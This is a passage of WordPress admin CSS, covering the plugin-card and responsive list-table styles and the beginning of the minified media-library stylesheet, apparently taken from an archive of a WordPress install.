margin: 0 5px 0 -2px; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; vertical-align: top; } .plugin-card .updating-message:before { content: "\f463"; content: "\f463" / ''; animation: rotation 2s infinite linear; } @keyframes rotation { 0% { transform: rotate(0deg); } 100% { transform: rotate(359deg); } } .plugin-card .updated-message:before { color: #68de7c; content: "\f147"; content: "\f147" / ''; } .plugin-card .updated-message:before, .plugin-card .updating-message:before { line-height: 1; position: relative; top: -2px; vertical-align: middle; } .plugin-install-php #the-list { display: flex; flex-wrap: wrap; } .plugin-install-php .plugin-card { display: flex; flex-direction: column; justify-content: space-between; } .plugin-install-php h2 { clear: both; } .plugin-install-php h3 { margin: 2.5em 0 8px; } .plugin-install-php .wp-filter { margin-bottom: 0; } /* Plugin card table view */ .plugin-group { overflow: hidden; /* clearfix */ margin-top: 1.5em; } .plugin-group h3 { margin-top: 0; } .plugin-card { float: left; margin: 0 8px 16px; width: 48.5%; width: calc( 50% - 8px ); background-color: #ffffff; border: 1px solid rgb(0, 0, 0, 0.1); border-radius: 8px; box-sizing: border-box; overflow: hidden; } .plugin-card:nth-child(odd) { clear: both; margin-left: 0; } .plugin-card:nth-child(even) { margin-right: 0; } @media screen and (min-width: 1600px) and ( max-width: 2299px ) { .plugin-card { width: 30%; width: calc( 33.1% - 8px ); } .plugin-card:nth-child(odd) { clear: none; margin-left: 8px; } .plugin-card:nth-child(even) { margin-right: 8px; } .plugin-card:nth-child(3n+1) { clear: both; margin-left: 0; } .plugin-card:nth-child(3n) { margin-right: 0; } } @media screen and (min-width: 2300px) { .plugin-card { width: 25%; width: calc( 25% - 12px ); } .plugin-card:nth-child(odd) { clear: none; margin-left: 8px; } .plugin-card:nth-child(even) { margin-right: 8px; } .plugin-card:nth-child(4n+1) { clear: both; margin-left: 0; } .plugin-card:nth-child(4n) { margin-right: 0; } } .plugin-card-top { position: relative; padding: 16px; min-height: 135px; } div.action-links, .plugin-action-buttons { margin: 0; /* Override existing margins */ } .plugin-card h3 { margin: 0 12px 16px 0; font-size: 18px; line-height: 1.3; } .plugin-card .desc { margin-inline: 0; } .plugin-card .name, .plugin-card .desc > p { margin-left: 148px; } @media (min-width: 1101px) { .plugin-card .name, .plugin-card .desc > p { margin-right: 128px; } } @media (min-width: 481px) and (max-width: 781px) { .plugin-card .name, .plugin-card .desc > p { margin-right: 128px; } } .plugin-card .column-description { display: flex; flex-direction: column; justify-content: flex-start; } .plugin-card .column-description > p { margin-top: 0; } .plugin-card .column-description p:empty { display: none; } .plugin-card .notice.plugin-dependencies { margin: auto 20px 20px; padding: 15px; } .plugin-card .plugin-dependencies-explainer-text { margin-block: 0; } .plugin-card .plugin-dependency { align-items: center; display: flex; flex-wrap: wrap; margin-top: .5em; column-gap: 1%; row-gap: .5em; } .plugin-card .plugin-dependency:nth-child(2), .plugin-card .plugin-dependency:last-child { margin-top: 1em; } .plugin-card .plugin-dependency-name { flex-basis: 74%; } .plugin-card .plugin-dependency .more-details-link { margin-left: auto; } .rtl .plugin-card .plugin-dependency .more-details-link { margin-right: auto; } @media (max-width: 939px) { .plugin-card .plugin-dependency-name { flex-basis: 69%; } } .plugins #the-list .required-by, .plugins #the-list .requires { margin-top: 1em; } .plugin-card .action-links { position: absolute; top: 20px; right: 20px; width: 120px; } .plugin-action-buttons { clear: right; float: right; margin-bottom: 1em; text-align: right; } .plugin-action-buttons li { margin-bottom: 10px; } .plugin-card-bottom { clear: both; padding: 16px; background-color: #f6f7f7; border-top: 1px solid rgb(0, 0, 0, 0.1); overflow: hidden; } .plugin-card-bottom .star-rating { display: inline; } .plugin-card-update-failed .update-now { font-weight: 600; } .plugin-card-update-failed .notice-error { margin: 0; padding-left: 16px; box-shadow: 0 -1px 0 #dcdcde; } .plugin-card-update-failed .plugin-card-bottom { display: none; } .plugin-card .column-rating { line-height: 1.76923076; } .plugin-card .column-rating, .plugin-card .column-updated { margin-bottom: 4px; } .plugin-card .column-rating, .plugin-card .column-downloaded { float: left; clear: left; max-width: 180px; } .plugin-card .column-updated, .plugin-card .column-compatibility { text-align: right; float: right; clear: right; width: 65%; width: calc( 100% - 180px ); } .plugin-card .column-compatibility span:before { font: normal 20px/.5 dashicons; display: inline-block; padding: 0; top: 4px; left: -2px; position: relative; vertical-align: top; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-decoration: none !important; color: #3c434a; } .plugin-card .column-compatibility .compatibility-incompatible:before { content: "\f158"; content: "\f158" / ''; color: #d63638; } .plugin-card .column-compatibility .compatibility-compatible:before { content: "\f147"; content: "\f147" / ''; color: #007017; } .plugin-card .notice { margin: 20px 20px 0; } .plugin-card .plugin-icon { position: absolute; top: 20px; left: 20px; width: 128px; height: 128px; margin: 0 20px 20px 0; } .no-plugin-results { color: #646970; /* same as no themes and no media */ font-size: 18px; font-style: normal; margin: 0; padding: 100px 0 0; width: 100%; text-align: center; } /* ms */ /* Background Color for Site Status */ .wp-list-table .site-deleted, .wp-list-table tr.site-deleted, .wp-list-table .site-archived, .wp-list-table tr.site-archived { background: #fcf0f1; } .wp-list-table .site-spammed, .wp-list-table tr.site-spammed, .wp-list-table .site-mature, .wp-list-table tr.site-mature { background: #fcf9e8; } .sites.fixed .column-lastupdated, .sites.fixed .column-registered { width: 20%; } .sites.fixed .column-users { width: 80px; } /* =Media Queries -------------------------------------------------------------- */ @media screen and (max-width: 1100px) and (min-width: 782px), (max-width: 480px) { .plugin-card .action-links { position: static; margin-left: 148px; width: auto; } .plugin-action-buttons { float: none; margin: 1em 0 0; text-align: left; } .plugin-action-buttons li { display: inline-block; vertical-align: middle; } .plugin-action-buttons li .button { margin-right: 20px; } .plugin-card h3 { margin-right: 24px; } .plugin-card .name, .plugin-card .desc { margin-right: 0; } .plugin-card .desc p:first-of-type { margin-top: 0; } } @media screen and (max-width: 782px) { /* WP List Table Options & Filters */ .tablenav { height: auto; } .tablenav.top { margin: 20px 0 5px; } .tablenav.bottom { position: relative; margin-top: 15px; } .tablenav br { display: none; } .tablenav br.clear { display: block; } .tablenav.top .actions, .tablenav .view-switch { display: none; } .view-switch a { width: 36px; height: 36px; line-height: 2.53846153; } /* Pagination */ .tablenav.top .displaying-num { display: none; } .tablenav.bottom .displaying-num { position: absolute; right: 0; top: 11px; margin: 0; font-size: 14px; } .tablenav .tablenav-pages { width: 100%; text-align: center; margin: 0 0 25px; } .tablenav.bottom .tablenav-pages { margin-top: 25px; } .tablenav.top .tablenav-pages.one-page { display: none; } .tablenav.bottom .actions select { margin-bottom: 5px; } .tablenav.bottom .actions.alignleft + .actions.alignleft { clear: left; margin-top: 10px; } .tablenav.bottom .tablenav-pages.one-page { margin-top: 15px; height: 0; } .tablenav-pages .pagination-links { font-size: 16px; } .tablenav .tablenav-pages .button, .tablenav .tablenav-pages .tablenav-pages-navspan { min-width: 40px; min-height: 40px; padding: 10px 8px; font-size: 18px; line-height: 1; } .tablenav-pages .pagination-links .current-page { min-width: 40px; padding: 10px 6px; font-size: 16px; line-height: 1.125; } /* WP List Table Adjustments: General */ .form-wrap > p { display: none; } .wp-list-table th.column-primary ~ th, .wp-list-table tr:not(.inline-edit-row):not(.no-items) td.column-primary ~ td:not(.check-column) { display: none; } .wp-list-table thead th.column-primary { width: 100%; } /* Checkboxes need to show */ .wp-list-table tr th.check-column { display: table-cell; } .wp-list-table .check-column { width: 2.5em; } .wp-list-table .column-primary .toggle-row { display: block; } .wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.check-column) { position: relative; clear: both; width: auto !important; /* needs to override some columns that are more specifically targeted */ } .wp-list-table td.column-primary { padding-right: 50px; /* space for toggle button */ } .wp-list-table tr:not(.inline-edit-row):not(.no-items) td.column-primary ~ td:not(.check-column) { padding: 3px 8px 3px 35%; } .wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.column-primary)::before { position: absolute; left: 10px; /* match padding of regular table cell */ display: block; overflow: hidden; width: 32%; /* leave a little space for a gutter */ content: attr(data-colname); white-space: nowrap; text-overflow: ellipsis; } .wp-list-table .is-expanded td:not(.hidden) { display: block !important; overflow: hidden; /* clearfix */ } /* Special cases */ .widefat .num, .column-posts { text-align: left; } #comments-form .fixed .column-author, #commentsdiv .fixed .column-author { display: none !important; } .fixed .column-comment .comment-author { display: block; } /* Comment author hidden via Screen Options */ .fixed .column-author.hidden ~ .column-comment .comment-author { display: none; } #the-comment-list .is-expanded td { box-shadow: none; } #the-comment-list .is-expanded td:last-child { box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1); } /* Show comment bubble as text instead */ .post-com-count .screen-reader-text { position: static; clip-path: none; width: auto; height: auto; margin: 0; } .column-response .post-com-count-no-comments:after, .column-response .post-com-count-approved:after, .column-comments .post-com-count-no-comments:after, .column-comments .post-com-count-approved:after { content: none; } .column-response .post-com-count [aria-hidden="true"], .column-comments .post-com-count [aria-hidden="true"] { display: none; } .column-response .post-com-count-wrapper, .column-comments .post-com-count-wrapper { white-space: normal; } .column-response .post-com-count-wrapper > a, .column-comments .post-com-count-wrapper > a { display: block; } .column-response .post-com-count-no-comments, .column-response .post-com-count-approved, .column-comments .post-com-count-no-comments, .column-comments .post-com-count-approved { margin-top: 0; margin-right: 0.5em; } .column-response .post-com-count-pending, .column-comments .post-com-count-pending { position: static; height: auto; min-width: 0; padding: 0; border: none; border-radius: 0; background: none; color: #b32d2e; font-size: inherit; line-height: inherit; text-align: left; } .column-response .post-com-count-pending:hover, .column-comments .post-com-count-pending:hover { color: #d63638; } .widefat thead td.check-column, .widefat tfoot td.check-column { padding-top: 10px; } .row-actions { margin-right: -8px; padding-top: 4px; } /* Make row actions more easy to select on mobile */ body:not(.plugins-php) .row-actions { display: flex; flex-wrap: wrap; gap: 8px; color: transparent; } .row-actions span { font-size: 0; } .row-actions span a, .row-actions span .button-link { display: inline-block; padding: 4px 16px 4px 0; font-size: 13px; line-height: 1.5; } .row-actions span.approve:before, .row-actions span.unapprove:before { content: "| "; } /* Quick Edit and Bulk Edit */ #wpbody-content .quick-edit-row-post .inline-edit-col-left, #wpbody-content .quick-edit-row-post .inline-edit-col-right, #wpbody-content .inline-edit-row-post .inline-edit-col-center, #wpbody-content .quick-edit-row-page .inline-edit-col-left, #wpbody-content .quick-edit-row-page .inline-edit-col-right, #wpbody-content .bulk-edit-row-post .inline-edit-col-right, #wpbody-content .bulk-edit-row .inline-edit-col-left, #wpbody-content .bulk-edit-row-page .inline-edit-col-right, #wpbody-content .bulk-edit-row .inline-edit-col-bottom { float: none; width: 100%; padding: 0; } #the-list .inline-edit-row .inline-edit-legend, .inline-edit-row span.title { font-size: 16px; } .inline-edit-row p.howto { font-size: 14px; } #wpbody-content .inline-edit-row-page .inline-edit-col-right { margin-top: 0; } #wpbody-content .quick-edit-row fieldset .inline-edit-col label, #wpbody-content .quick-edit-row fieldset .inline-edit-group label, #wpbody-content .bulk-edit-row fieldset .inline-edit-col label, #wpbody-content .bulk-edit-row fieldset .inline-edit-group label { max-width: none; float: none; margin-bottom: 5px; } #wpbody .bulk-edit-row fieldset select { display: block; width: 100%; max-width: none; box-sizing: border-box; } .inline-edit-row select, .inline-edit-row input:where(:not([type=checkbox],[type=radio],[type=submit],[type=button])) { min-height: 40px; } .inline-edit-row fieldset input[name=jj], .inline-edit-row fieldset input[name=hh], .inline-edit-row fieldset input[name=mn], .inline-edit-row fieldset input[name=aa] { font-size: 16px; line-height: 2; padding: 3px 4px; } #bulk-titles .ntdelbutton, #bulk-titles .ntdeltitle, .inline-edit-row fieldset ul.cat-checklist label { padding: 6px 0; font-size: 16px; line-height: 28px; } #bulk-titles .ntdelitem { padding-left: 37px; } #bulk-titles .ntdelbutton { width: 40px; height: 40px; margin: 0 0 0 -40px; overflow: hidden; } #bulk-titles .ntdelbutton:before { font-size: 20px; line-height: 28px; } .inline-edit-row fieldset label span.title, .inline-edit-row fieldset.inline-edit-date legend { float: none; } .inline-edit-row fieldset .inline-edit-col label.inline-edit-tags { padding: 0; } .inline-edit-row fieldset label span.input-text-wrap, .inline-edit-row fieldset .timestamp-wrap { margin-left: 0; } .inline-edit-row .inline-edit-or { margin: 0 6px 0 0; } #edithead .inside, #commentsdiv #edithead .inside { float: none; text-align: left; padding: 3px 5px; } #commentsdiv #edithead .inside input, #edithead .inside input { width: 100%; } #edithead label { display: block; } /* Updates */ #wpbody-content .updates-table .plugin-title { width: auto; white-space: normal; } /* Links */ .link-manager-php #posts-filter { margin-top: 25px; } .link-manager-php .tablenav.bottom { overflow: hidden; } /* List tables that don't toggle rows */ .comments-box .toggle-row, .wp-list-table.plugins .toggle-row { display: none; } /* Plugin/Theme Management */ #wpbody-content .wp-list-table.plugins td { display: block; width: auto; padding: 10px 9px; /* reset from other list tables that have a label at this width */ } #wpbody-content .wp-list-table.plugins .plugin-deleted-tr td, #wpbody-content .wp-list-table.plugins .no-items td { display: table-cell; } /* Plugin description hidden via Screen Options */ #wpbody-content .wp-list-table.plugins .desc.hidden { display: none; } #wpbody-content .wp-list-table.plugins .column-description { padding-top: 2px; } #wpbody-content .wp-list-table.plugins .plugin-title, #wpbody-content .wp-list-table.plugins .theme-title { padding-right: 12px; white-space: normal; } .wp-list-table.plugins .plugin-title, .wp-list-table.plugins .theme-title { padding-top: 13px; padding-bottom: 4px; } .plugins #the-list tr > td:not(:last-child), .plugins #the-list .update th, .plugins #the-list .update td, .wp-list-table.plugins #the-list .theme-title { box-shadow: none; border-top: none; } .plugins #the-list tr td { border-top: none; } .plugins tbody { padding: 1px 0 0; } .plugins tr.active + tr.inactive th.check-column, .plugins tr.active + tr.inactive td.column-description, .plugins .plugin-update-tr:before { box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1); } .plugins tr.active + tr.inactive th.check-column, .plugins tr.active + tr.inactive td { border-top: none; } /* mimic the checkbox th */ .plugins .plugin-update-tr:before { content: ""; display: table-cell; } .plugins #the-list .plugin-update-tr .plugin-update { border-left: none; } .plugin-update-tr .update-message { margin-left: 0; } .plugins .active.update + .plugin-update-tr:before, .plugins .active.updated + .plugin-update-tr:before { background-color: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-left: 4px solid var(--wp-admin-theme-color); } .plugins .plugin-update-tr .update-message { margin-left: 0; } .wp-list-table.plugins .plugin-title strong, .wp-list-table.plugins .theme-title strong { font-size: 1.4em; line-height: 1.5; } .plugins tbody th.check-column { padding: 8px 0 0 5px; } .plugins thead td.check-column, .plugins tfoot td.check-column, .plugins .inactive th.check-column { padding-left: 9px; } /* Add New plugins page */ table.plugin-install .column-name, table.plugin-install .column-version, table.plugin-install .column-rating, table.plugin-install .column-description { display: block; width: auto; } table.plugin-install th.column-name, table.plugin-install th.column-version, table.plugin-install th.column-rating, table.plugin-install th.column-description { display: none; } table.plugin-install td.column-name strong { font-size: 1.4em; line-height: 1.6em; } table.plugin-install #the-list td { box-shadow: none; } table.plugin-install #the-list tr { display: block; box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1); } .plugin-card { margin-left: 0; margin-right: 0; width: 100%; } table.media .column-title .has-media-icon ~ .row-actions { margin-left: 0; clear: both; } } @media screen and (max-width: 480px) { .tablenav-pages .current-page { margin: 0; } .tablenav.bottom .displaying-num { position: relative; top: 0; display: block; text-align: right; padding-bottom: 0.5em; } .tablenav.bottom .tablenav-pages.one-page { height: auto; } .tablenav-pages .tablenav-paging-text { float: left; width: 100%; padding-top: 0.5em; } } css/media.min.css 0000644 00000054555 15233246127 0007732 0 ustar 00 /*! This file is auto-generated */ .media-item .describe{border-collapse:collapse;width:100%;border-top:1px solid #dcdcde;clear:both;cursor:default}.media-item.media-blank .describe{border:0}.media-item .describe th{vertical-align:top;text-align:left;padding:5px 10px 10px;width:140px}.media-item .describe .align th{padding-top:0}.media-item .media-item-info tr{background-color:transparent}.media-item .describe td{padding:0 8px 8px 0;vertical-align:top}.media-item thead.media-item-info td{padding:4px 10px 0}.media-item .media-item-info .A1B1{padding:0 0 0 10px}.media-item td.savesend{padding-bottom:15px}.media-item .thumbnail{max-height:128px;max-width:128px}.media-list-subtitle{display:block}.media-list-title{display:block}#wpbody-content #async-upload-wrap a{display:none}.media-upload-form{margin-top:20px}.media-upload-form td label{margin-right:6px;margin-left:2px}.media-upload-form .align .field label{display:inline;padding:0 0 0 23px;margin:0 1em 0 3px;font-weight:600}.media-upload-form tr.image-size label{margin:0 0 0 5px;font-weight:600}.media-upload-form th.label label{font-weight:600;margin:.5em;font-size:13px}.media-upload-form th.label label span{padding:0 5px}.media-item .describe input[type=text],.media-item .describe textarea{width:460px}.media-item .describe p.help{margin:0;padding:0 0 0 5px}.describe-toggle-off,.describe-toggle-on{display:block;line-height:2.76923076;float:right;margin-right:10px}.media-item .attachment-tools{display:flex;align-items:center}.media-item .edit-attachment{padding:14px 0;display:block;margin-right:10px}.media-item .edit-attachment.copy-to-clipboard-container{display:flex;margin-top:0}.media-item-copy-container .success{line-height:0}.media-item button .copy-attachment-url{margin-top:14px}.media-item .copy-to-clipboard-container{margin-top:7px}.media-item .describe-toggle-off,.media-item.open .describe-toggle-on{display:none}.media-item.open .describe-toggle-off{display:block}.media-upload-form .media-item{min-height:70px;margin-bottom:1px;position:relative;width:100%;background:#fff}.media-upload-form .media-item,.media-upload-form .media-item .error{box-shadow:0 1px 0 #dcdcde}#media-items:empty{border:0 none}.media-item .filename{padding:14px 2px;overflow:hidden;margin-left:4px}.media-item .pinkynail{float:left;margin:14px;max-height:70px;max-width:70px}.media-item .startclosed,.media-item .startopen{display:none}.media-item .progress{display:inline-block;height:22px;margin:0 6px 7px;width:200px;line-height:2em;padding:0;overflow:hidden;border-radius:22px;background:#dcdcde;box-shadow:inset 0 1px 2px rgba(0,0,0,.1)}.media-item .bar{z-index:9;width:0;height:100%;margin-top:-22px;border-radius:22px;background-color:#2271b1;box-shadow:inset 0 0 2px rgba(0,0,0,.3)}.media-item .progress .percent{z-index:10;position:relative;width:200px;padding:0;color:#fff;text-align:center;line-height:22px;font-weight:400;text-shadow:0 1px 2px rgba(0,0,0,.2)}.upload-php .fixed .column-parent{width:15%}.js .html-uploader #plupload-upload-ui{display:none}.js .html-uploader #html-upload-ui{display:block}#html-upload-ui #async-upload{font-size:1em}.media-upload-form .media-item .error,.media-upload-form .media-item.error{width:auto;margin:0 0 1px}.media-upload-form .media-item .error{padding:10px 0 10px 14px;min-height:50px}.media-item .error-div button.dismiss{float:right;margin:0 10px 0 15px}.find-box{background-color:#fff;box-shadow:0 3px 6px rgba(0,0,0,.3);width:600px;overflow:hidden;margin-left:-300px;position:fixed;top:30px;bottom:30px;left:50%;z-index:100105}.find-box-head{background:#fff;border-bottom:1px solid #dcdcde;height:36px;font-size:18px;font-weight:600;line-height:2;padding:0 36px 0 16px;position:absolute;top:0;left:0;right:0}.find-box-inside{overflow:auto;padding:16px;background-color:#fff;position:absolute;top:37px;bottom:45px;overflow-y:scroll;width:100%;box-sizing:border-box}.find-box-search{padding-bottom:16px}.find-box-search .spinner{float:none;left:105px;position:absolute}#find-posts-response,.find-box-search{position:relative}#find-posts-input,#find-posts-search{float:left}#find-posts-input{width:140px;height:28px;margin:0 4px 0 0}.widefat .found-radio{padding-right:0;width:16px}#find-posts-close{width:36px;height:36px;border:none;padding:0;position:absolute;top:0;right:0;cursor:pointer;text-align:center;background:0 0;color:#646970}#find-posts-close:focus,#find-posts-close:hover{color:var(--wp-admin-theme-color-darker-20,#183ad6)}#find-posts-close:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent;outline-offset:-2px}#find-posts-close:before{font:normal 20px/36px dashicons;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;content:"\f158";content:"\f158"/''}.find-box-buttons{padding:8px 16px;background:#fff;border-top:1px solid #dcdcde;position:absolute;bottom:0;left:0;right:0}@media screen and (max-width:782px){.find-box-inside{bottom:57px}#delete_all{margin-bottom:0}}@media screen and (max-width:660px){.find-box{top:0;bottom:0;left:0;right:0;margin:0;width:100%}}.ui-find-overlay{position:fixed;top:0;left:0;right:0;bottom:0;background:#000;opacity:.7;z-index:100100}.drag-drop #drag-drop-area{border:4px dashed #c3c4c7;height:200px}.drag-drop .drag-drop-inside{margin:60px auto 0;width:250px}.drag-drop-inside p{font-size:14px;margin:5px 0;display:none}.drag-drop .drag-drop-inside p{text-align:center}.drag-drop-inside p.drag-drop-info{font-size:20px}.drag-drop .drag-drop-inside p,.drag-drop-inside p.drag-drop-buttons{display:block}.drag-drop.drag-over #drag-drop-area{border-color:#9ec2e6}#plupload-upload-ui{position:relative}.post-type-attachment .wp-filter select{margin:0 6px 0 0}.media-frame.mode-grid,.media-frame.mode-grid .attachments-browser.has-load-more .attachments-wrapper,.media-frame.mode-grid .attachments-browser:not(.has-load-more) .attachments,.media-frame.mode-grid .media-frame-content,.media-frame.mode-grid .uploader-inline-content{position:static}.media-frame.mode-grid .media-frame-menu,.media-frame.mode-grid .media-frame-router,.media-frame.mode-grid .media-frame-title{display:none}.media-frame.mode-grid .media-frame-content{background-color:transparent;border:none}.upload-php .mode-grid .media-sidebar{position:relative;width:auto;margin-top:12px;padding:0 16px;border-left:4px solid #d63638;box-shadow:0 1px 1px 0 rgba(0,0,0,.1);background-color:#fff}.upload-php .mode-grid .hide-sidebar .media-sidebar{display:none}.upload-php .mode-grid .media-sidebar .media-uploader-status{border-bottom:none;padding-bottom:0;max-width:100%}.upload-php .mode-grid .media-sidebar .upload-error{margin:12px 0;padding:4px 0 0;border:none;box-shadow:none;background:0 0}.upload-php .mode-grid .media-sidebar .media-uploader-status.errors h2{display:none}.media-frame.mode-grid .uploader-inline{position:relative;top:auto;right:auto;left:auto;bottom:auto;padding-top:0;margin-top:20px;border:4px dashed #c3c4c7}.media-frame.mode-select .attachments-browser.fixed:not(.has-load-more) .attachments,.media-frame.mode-select .attachments-browser.has-load-more.fixed .attachments-wrapper{position:relative;top:94px;padding-bottom:94px}.media-frame.mode-grid .attachment.details:focus,.media-frame.mode-grid .attachment:focus,.media-frame.mode-grid .selected.attachment:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent;outline-offset:-6px}.media-frame.mode-grid .selected.attachment{box-shadow:inset 0 0 0 5px #f0f0f1,inset 0 0 0 7px #c3c4c7}.media-frame.mode-grid .attachment.details{box-shadow:inset 0 0 0 3px #f0f0f1,inset 0 0 0 7px var(--wp-admin-theme-color,#3858e9)}.media-frame.mode-grid.mode-select .attachment .thumbnail{opacity:.65}.media-frame.mode-select .attachment.selected .thumbnail{opacity:1}.media-frame.mode-grid .media-toolbar{margin-bottom:15px;height:auto}.media-frame.mode-grid .media-toolbar label:not(.media-search-input-label){border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important;word-break:normal!important}.media-frame.mode-grid .media-toolbar select{margin:0 10px 0 0;min-height:32px;line-height:2.14285714;padding:0 24px 0 8px}.media-frame.mode-grid .media-toolbar input[type=search]{min-height:32px;padding:0 8px}.media-frame.mode-grid .media-toolbar-secondary{display:flex;flex-wrap:wrap;align-items:center;gap:8px}.media-frame.mode-grid.mode-edit .media-toolbar-secondary>.select-mode-toggle-button{margin:0 8px 0 0;height:100%}.media-frame.mode-grid .attachments-browser .bulk-select{display:inline-block;margin:0 10px 0 0}.media-frame.mode-grid .search{margin-top:0}.media-frame-content .media-search-input-label{vertical-align:baseline}.attachments-browser .media-toolbar-secondary>.media-button{margin-right:10px}.media-frame.mode-select .attachments-browser.fixed .media-toolbar{position:fixed;top:32px;left:auto;right:20px;margin-top:0}.media-frame.mode-grid .attachments-browser{padding:0}.media-frame.mode-grid .attachments-browser .attachments{padding:2px}.media-frame.mode-grid .attachments-browser .no-media{color:#646970;font-size:18px;font-style:normal;margin:0;padding:100px 0 0;text-align:center}.edit-attachment-frame{display:block;height:100%;width:100%}.edit-attachment-frame .edit-media-header{overflow:hidden}.upload-php .media-modal-close .media-modal-icon:before{content:"\f335";content:"\f335"/'';font-size:22px}.edit-attachment-frame .edit-media-header .left,.edit-attachment-frame .edit-media-header .right,.upload-php .media-modal-close{cursor:pointer;color:#787c82;background-color:transparent;height:50px;width:50px;padding:0;position:absolute;text-align:center;border:0;border-left:1px solid #dcdcde;transition:color .1s ease-in-out,background .1s ease-in-out}.upload-php .media-modal-close{top:0;right:0}.edit-attachment-frame .edit-media-header .left{right:102px}.edit-attachment-frame .edit-media-header .right{right:51px}.edit-attachment-frame .media-frame-title{left:0;right:150px}.edit-attachment-frame .edit-media-header .left:before,.edit-attachment-frame .edit-media-header .right:before{font:normal 20px/50px dashicons!important;display:inline;font-weight:300}.edit-attachment-frame .edit-media-header .left:focus,.edit-attachment-frame .edit-media-header .left:hover,.edit-attachment-frame .edit-media-header .right:focus,.edit-attachment-frame .edit-media-header .right:hover,.upload-php .media-modal-close:focus,.upload-php .media-modal-close:hover{background:#dcdcde;border-color:#c3c4c7;color:#000;outline:0;box-shadow:none}.edit-attachment-frame .edit-media-header .left:focus,.edit-attachment-frame .edit-media-header .right:focus,.upload-php .media-modal-close:focus{outline:2px solid transparent;outline-offset:-2px}.upload-php .media-modal-close:focus .media-modal-icon:before,.upload-php .media-modal-close:hover .media-modal-icon:before{color:#000}.edit-attachment-frame .edit-media-header .left:before{content:"\f341";content:"\f341"/''}.edit-attachment-frame .edit-media-header .right:before{content:"\f345";content:"\f345"/''}.edit-attachment-frame .edit-media-header [disabled],.edit-attachment-frame .edit-media-header [disabled]:hover{color:#c3c4c7;background:inherit;cursor:default}.edit-attachment-frame .media-frame-content,.edit-attachment-frame .media-frame-router{left:0}.edit-attachment-frame .media-frame-content{border-bottom:none;bottom:0;top:50px}.edit-attachment-frame .attachment-details{position:absolute;overflow:auto;top:0;bottom:0;right:0;left:0;box-shadow:inset 0 4px 4px -4px rgba(0,0,0,.1)}.edit-attachment-frame .attachment-media-view{float:left;width:65%;height:100%}.edit-attachment-frame .attachment-media-view .thumbnail{box-sizing:border-box;padding:16px;height:100%}.edit-attachment-frame .attachment-media-view .details-image{display:block;margin:0 auto 16px;max-width:100%;max-height:90%;max-height:calc(100% - 56px);background-image:linear-gradient(45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7),linear-gradient(45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7);background-position:0 0,10px 10px;background-size:20px 20px}.edit-attachment-frame .attachment-media-view .details-image.icon{background:0 0}.edit-attachment-frame .attachment-media-view .attachment-actions{text-align:center}.edit-attachment-frame .wp-media-wrapper{margin-bottom:12px}.edit-attachment-frame input,.edit-attachment-frame textarea{padding:4px 8px;line-height:1.42857143}.edit-attachment-frame .attachment-info{overflow:auto;box-sizing:border-box;margin-bottom:0;padding:12px 16px 0;width:35%;height:100%;box-shadow:inset 0 4px 4px -4px rgba(0,0,0,.1);border-bottom:0;border-left:1px solid #dcdcde;background:#f6f7f7}.edit-attachment-frame .attachment-info .details,.edit-attachment-frame .attachment-info .settings{position:relative;overflow:hidden;float:none;margin-bottom:15px;padding-bottom:15px;border-bottom:1px solid #dcdcde}.edit-attachment-frame .attachment-info .filename{font-weight:400;color:#646970}.edit-attachment-frame .attachment-info .thumbnail{margin-bottom:12px}.attachment-info .actions{margin-bottom:16px}.attachment-info .actions a{display:inline;text-decoration:none}.copy-to-clipboard-container{display:flex;align-items:center;margin-top:8px;clear:both}.copy-to-clipboard-container .copy-attachment-url{white-space:normal}.copy-to-clipboard-container .success{color:#007017;margin-left:8px}.wp_attachment_details .attachment-alt-text{margin-bottom:5px}.wp_attachment_details #attachment_alt{max-width:500px;height:3.28571428em}.wp_attachment_details .attachment-alt-text-description{margin-top:5px}.wp_attachment_details label[for=content]{font-size:13px;line-height:1.5;margin:1em 0}.wp_attachment_details #attachment_caption{height:4em}.describe .image-editor{vertical-align:top}.imgedit-wrap{position:relative;padding-top:10px}.image-editor fieldset,.image-editor p{margin:8px 0}.image-editor legend{margin-bottom:5px}.describe .imgedit-wrap .image-editor{padding:0 5px}.wp_attachment_holder div.updated{margin-top:0}.wp_attachment_holder .imgedit-wrap>div{height:auto}.imgedit-panel-content{display:flex;flex-wrap:wrap;gap:20px;margin-bottom:20px}.imgedit-settings{max-width:240px}.imgedit-group-controls>*{display:none}.imgedit-panel-active .imgedit-group-controls>*{display:block}.imgedit-panel-active .imgedit-group-controls>.imgedit-crop-apply{display:flex}.imgedit-crop-apply{gap:4px;flex-wrap:wrap}.wp_attachment_holder .imgedit-wrap .image-editor{float:right;width:250px}.image-editor input{margin-top:0;vertical-align:middle}.imgedit-wait{position:absolute;top:0;bottom:0;width:100%;background:#fff;opacity:.7;display:none}.imgedit-wait:before{content:"";display:block;width:20px;height:20px;position:absolute;left:50%;top:50%;margin:-10px 0 0 -10px;background:transparent url(../images/spinner.gif) no-repeat center;background-size:20px 20px;transform:translateZ(0)}.no-float{float:none}.image-editor .disabled,.media-disabled{color:#a7aaad}.A1B1{overflow:hidden}.A1B1 .button,.wp_attachment_image .button{float:left}.no-js .wp_attachment_image .button{display:none}.A1B1 .spinner,.wp_attachment_image .spinner{float:left}.imgedit-menu .note-no-rotate{clear:both;margin:0;padding:1em 0 0}.imgedit-menu .button:after,.imgedit-menu .button:before{font:normal 16px/1 dashicons;margin-right:8px;vertical-align:middle;position:relative;top:-2px;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.imgedit-menu .imgedit-rotate.button:after{content:'\f140';margin-left:2px;margin-right:0}.imgedit-menu 